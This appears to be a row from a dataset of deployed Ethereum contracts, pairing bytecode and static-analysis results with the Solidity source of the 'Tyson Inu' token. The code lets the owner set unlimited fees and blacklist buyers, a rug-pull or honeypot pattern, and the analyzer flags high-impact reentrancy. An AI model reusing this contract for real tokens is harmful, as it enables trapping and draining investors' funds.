3a207472616e7366657220746f20746865207a65726f206164647265737345524332303a204164647265737320616c726561647920696e20626c61636b6c69737445524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a206c6f636b20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654f776e61626c653a206f6c642061646d696e20697320746865207a65726f20616464726573734f776e61626c653a206e65772061646d696e20697320746865207a65726f206164647265737345524332303a20596f752063616e2774206c6f636b206d6f7265207468616e206163636f756e742062616c616e6365734f776e61626c653a2063616c6c6572206973206e6f74207468652061646d696e6973747261746f7245524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657245524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2043616e277420626c61636b6c697374207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f4f776e61626c653a206164647265737320697320616c72656164792061646d696ea2646970667358221220e878bc15147faa8d6a0a05c5c8e7d571ee5fb8c6afd93604d20f3e22d522759f64736f6c63430007030033
|
{"success": true, "error": null, "results": {}}
| 6,080 |
0xac0c9322f1b31e21ad8f8012989c32569bad5a24
|
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract TysonInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Tyson Inu";//
string private constant _symbol = "Tyson";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 1;//
uint256 private _taxFeeOnBuy = 19;//
//Sell Fee
uint256 private _redisFeeOnSell = 1;//
uint256 private _taxFeeOnSell = 25;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _charityliqAddress = payable(0x69850B44265bccc0BA9458cE72B619700428B88a);//
address payable private _marketingAddress = payable(0x69850B44265bccc0BA9458cE72B619700428B88a);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 50000000000000001000 * 10**9; //
uint256 public _maxWalletSize = 50000000000000002000 * 10**9; //
uint256 public _swapTokensAtAmount = 10000000000000000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_charityliqAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_charityliqAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _charityliqAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _charityliqAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f1461054d578063dd62ed3e14610563578063ea1644d5146105a9578063f2fde38b146105c957600080fd5b8063a9059cbb146104c8578063bfd79284146104e8578063c3c8cd8014610518578063c492f0461461052d57600080fd5b80638f9a55c0116100d15780638f9a55c01461044457806395d89b411461045a57806398a5c31514610488578063a2a957bb146104a857600080fd5b80637d1db4a5146103f05780638da5cb5b146104065780638f70ccf71461042457600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038657806370a082311461039b578063715018a6146103bb57806374010ece146103d057600080fd5b8063313ce5671461030a57806349bd5a5e146103265780636b999053146103465780636d8aa8f81461036657600080fd5b80631694505e116101ab5780631694505e1461027257806318160ddd146102aa57806323b872dd146102d45780632fd689e3146102f457600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024257600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611a0e565b6105e9565b005b34801561020a57600080fd5b506040805180820190915260098152685479736f6e20496e7560b81b60208201525b6040516102399190611ad3565b60405180910390f35b34801561024e57600080fd5b5061026261025d366004611b28565b610688565b6040519015158152602001610239565b34801561027e57600080fd5b50601554610292906001600160a01b031681565b6040516001600160a01b039091168152602001610239565b3480156102b657600080fd5b506c01431e0fae6d7217caa00000005b604051908152602001610239565b3480156102e057600080fd5b506102626102ef366004611b54565b61069f565b34801561030057600080fd5b506102c660195481565b34801561031657600080fd5b5060405160098152602001610239565b34801561033257600080fd5b50601654610292906001600160a01b031681565b34801561035257600080fd5b506101fc610361366004611b95565b610708565b34801561037257600080fd5b506101fc610381366004611bc2565b610753565b34801561039257600080fd5b506101fc61079b565b3480156103a757600080fd5b506102c66103b6366004611b95565b6107e6565b3480156103c757600080fd5b506101fc610808565b3480156103dc57600080fd5b506101fc6103eb366004611bdd565b61087c565b3480156103fc57600080fd5b506102c660175481565b34801561041257600080fd5b506000546001600160a01b0316610292565b34801561043057600080fd5b506101fc61043f366004611bc2565b6108ab565b34801561045057600080fd5b506102c660185481565b34801561046657600080fd5b506040805180820190915260058152642a3cb9b7b760d91b602082015261022c565b34801561049457600080fd5b506101fc6104a3366004611bdd565b6108f7565b3480156104b457600080fd5b506101fc6104c3366004611bf6565b610926565b3480156104d457600080fd5b506102626104e3366004611b28565b610964565b3480156104f457600080fd5b50610262610503366004611b95565b60116020526000908152604090205460ff1681565b34801561052457600080fd5b506101fc610971565b34801561053957600080fd5b506101fc610548366004611c28565b6109c5565b34801561055957600080fd5b506102c660085481565b34801561056f57600080fd5b506102c661057e366004611cac565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105b557600080fd5b506101fc6105c4366004611bdd565b610a66565b3480156105d557600080fd5b506101fc6105e4366004611b95565b610a95565b6000546001600160a01b0316331461061c5760405162461bcd60e51b815260040161061390611ce5565b60405180910390fd5b60005b81518110156106845760016011600084848151811061064057610640611d1a565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061067c81611d46565b91505061061f565b5050565b6000610695338484610b7f565b5060015b92915050565b60006106ac848484610ca3565b6106fe84336106f985604051806060016040528060288152602001611e60602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611256565b610b7f565b5060019392505050565b6000546001600160a01b031633146107325760405162461bcd60e51b815260040161061390611ce5565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6000546001600160a01b0316331461077d5760405162461bcd60e51b815260040161061390611ce5565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b031614806107d057506014546001600160a01b0316336001600160a01b0316145b6107d957600080fd5b476107e381611290565b50565b6001600160a01b03811660009081526002602052604081205461069990611315565b6000546001600160a01b031633146108325760405162461bcd60e51b815260040161061390611ce5565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108a65760405162461bcd60e51b815260040161061390611ce5565b601755565b6000546001600160a01b031633146108d55760405162461bcd60e51b815260040161061390611ce5565b60168054911515600160a01b0260ff60a01b1990921691909117905543600855565b6000546001600160a01b031633146109215760405162461bcd60e51b815260040161061390611ce5565b601955565b6000546001600160a01b031633146109505760405162461bcd60e51b815260040161061390611ce5565b600993909355600b91909155600a55600c55565b6000610695338484610ca3565b6013546001600160a01b0316336001600160a01b031614806109a657506014546001600160a01b0316336001600160a01b0316145b6109af57600080fd5b60006109ba306107e6565b90506107e381611399565b6000546001600160a01b031633146109ef5760405162461bcd60e51b815260040161061390611ce5565b60005b82811015610a60578160056000868685818110610a1157610a11611d1a565b9050602002016020810190610a269190611b95565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a5881611d46565b9150506109f2565b50505050565b6000546001600160a01b03163314610a905760405162461bcd60e51b815260040161061390611ce5565b601855565b6000546001600160a01b03163314610abf5760405162461bcd60e51b815260040161061390611ce5565b6001600160a01b038116610b245760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610613565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610be15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610613565b6001600160a01b038216610c425760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610613565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d075760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610613565b6001600160a01b038216610d695760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610613565b60008111610dcb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610613565b6000546001600160a01b03848116911614801590610df757506000546001600160a01b03838116911614155b1561114f57601654600160a01b900460ff16610e90576000546001600160a01b03848116911614610e905760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610613565b601754811115610ee25760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610613565b6001600160a01b03831660009081526011602052604090205460ff16158015610f2457506001600160a01b03821660009081526011602052604090205460ff16155b610f7c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610613565b6008544311158015610f9b57506016546001600160a01b038481169116145b8015610fb557506015546001600160a01b03838116911614155b8015610fca57506001600160a01b0382163014155b15610ff3576001600160a01b0382166000908152601160205260409020805460ff191660011790555b6016546001600160a01b038381169116146110785760185481611015846107e6565b61101f9190611d61565b106110785760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610613565b6000611083306107e6565b60195460175491925082101590821061109c5760175491505b8080156110b35750601654600160a81b900460ff16155b80156110cd57506016546001600160a01b03868116911614155b80156110e25750601654600160b01b900460ff165b801561110757506001600160a01b03851660009081526005602052604090205460ff16155b801561112c57506001600160a01b03841660009081526005602052604090205460ff16155b1561114c5761113a82611399565b47801561114a5761114a47611290565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061119157506001600160a01b03831660009081526005602052604090205460ff165b806111c357506016546001600160a01b038581169116148015906111c357506016546001600160a01b03848116911614155b156111d05750600061124a565b6016546001600160a01b0385811691161480156111fb57506015546001600160a01b03848116911614155b1561120d57600954600d55600a54600e555b6016546001600160a01b03848116911614801561123857506015546001600160a01b03858116911614155b1561124a57600b54600d55600c54600e555b610a6084848484611513565b6000818484111561127a5760405162461bcd60e51b81526004016106139190611ad3565b5060006112878486611d79565b95945050505050565b6013546001600160a01b03166108fc6112aa836002611541565b6040518115909202916000818181858888f193505050501580156112d2573d6000803e3d6000fd5b506014546001600160a01b03166108fc6112ed836002611541565b6040518115909202916000818181858888f19350505050158015610684573d6000803e3d6000fd5b600060065482111561137c5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610613565b6000611386611583565b90506113928382611541565b9392505050565b6016805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113e1576113e1611d1a565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561143a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061145e9190611d90565b8160018151811061147157611471611d1a565b6001600160a01b0392831660209182029290920101526015546114979130911684610b7f565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906114d0908590600090869030904290600401611dad565b600060405180830381600087803b1580156114ea57600080fd5b505af11580156114fe573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b80611520576115206115a6565b61152b8484846115d4565b80610a6057610a60600f54600d55601054600e55565b600061139283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116cb565b60008060006115906116f9565b909250905061159f8282611541565b9250505090565b600d541580156115b65750600e54155b156115bd57565b600d8054600f55600e805460105560009182905555565b6000806000806000806115e687611743565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061161890876117a0565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461164790866117e2565b6001600160a01b03891660009081526002602052604090205561166981611841565b611673848361188b565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516116b891815260200190565b60405180910390a3505050505050505050565b600081836116ec5760405162461bcd60e51b81526004016106139190611ad3565b5060006112878486611e1e565b60065460009081906c01431e0fae6d7217caa00000006117198282611541565b82101561173a575050600654926c01431e0fae6d7217caa000000092509050565b90939092509050565b60008060008060008060008060006117608a600d54600e546118af565b9250925092506000611770611583565b905060008060006117838e878787611904565b919e509c509a509598509396509194505050505091939550919395565b600061139283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611256565b6000806117ef8385611d61565b9050838110156113925760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610613565b600061184b611583565b905060006118598383611954565b3060009081526002602052604090205490915061187690826117e2565b30600090815260026020526040902055505050565b60065461189890836117a0565b6006556007546118a890826117e2565b6007555050565b60008080806118c960646118c38989611954565b90611541565b905060006118dc60646118c38a89611954565b905060006118f4826118ee8b866117a0565b906117a0565b9992985090965090945050505050565b60008080806119138886611954565b905060006119218887611954565b9050600061192f8888611954565b90506000611941826118ee86866117a0565b939b939a50919850919650505050505050565b60008261196357506000610699565b600061196f8385611e40565b90508261197c8583611e1e565b146113925760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610613565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107e357600080fd5b8035611a09816119e9565b919050565b60006020808385031215611a2157600080fd5b823567ffffffffffffffff80821115611a3957600080fd5b818501915085601f830112611a4d57600080fd5b813581811115611a5f57611a5f6119d3565b8060051b604051601f19603f83011681018181108582111715611a8457611a846119d3565b604052918252848201925083810185019188831115611aa257600080fd5b938501935b82851015611ac757611ab8856119fe565b84529385019392850192611aa7565b98975050505050505050565b600060208083528351808285015260005b81811015611b0057858101830151858201604001528201611ae4565b81811115611b12576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611b3b57600080fd5b8235611b46816119e9565b946020939093013593505050565b600080600060608486031215611b6957600080fd5b8335611b74816119e9565b92506020840135611b84816119e9565b929592945050506040919091013590565b600060208284031215611ba757600080fd5b8135611392816119e9565b80358015158114611a0957600080fd5b600060208284031215611bd457600080fd5b61139282611bb2565b600060208284031215611bef57600080fd5b5035919050565b60008060008060808587031215611c0c57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611c3d57600080fd5b833567ffffffffffffffff80821115611c5557600080fd5b818601915086601f830112611c6957600080fd5b813581811115611c7857600080fd5b8760208260051b8501011115611c8d57600080fd5b602092830195509350611ca39186019050611bb2565b90509250925092565b60008060408385031215611cbf57600080fd5b8235611cca816119e9565b91506020830135611cda816119e9565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611d5a57611d5a611d30565b5060010190565b60008219821115611d7457611d74611d30565b500190565b600082821015611d8b57611d8b611d30565b500390565b600060208284031215611da257600080fd5b8151611392816119e9565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611dfd5784516001600160a01b031683529383019391830191600101611dd8565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611e3b57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611e5a57611e5a611d30565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e35e79dbe7ea302b2fd0ebd41151453f837ae942b4220d3b89cb92ca7d3a777564736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 6,081 |
0xFD28d5f682882940a6688f5dC4C2D4DaC86DcDE9
|
/**
https://t.me/armstronginu
armstronginu.com
╭━━━╮╱╱╱╱╱╱╱╭╮╱╱╱╱╱╱╱╱╱╱╱╱╭━━╮
┃╭━╮┃╱╱╱╱╱╱╭╯╰╮╱╱╱╱╱╱╱╱╱╱╱╰┫┣╯
┃┃╱┃┣━┳╮╭┳━┻╮╭╋━┳━━┳━╮╭━━╮╱┃┃╭━╮╭╮╭╮
┃╰━╯┃╭┫╰╯┃━━┫┃┃╭┫╭╮┃╭╮┫╭╮┃╱┃┃┃╭╮┫┃┃┃
┃╭━╮┃┃┃┃┃┣━━┃╰┫┃┃╰╯┃┃┃┃╰╯┃╭┫┣┫┃┃┃╰╯┃
╰╯╱╰┻╯╰┻┻┻━━┻━┻╯╰━━┻╯╰┻━╮┃╰━━┻╯╰┻━━╯
╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╭━╯┃
╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╰━━╯
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
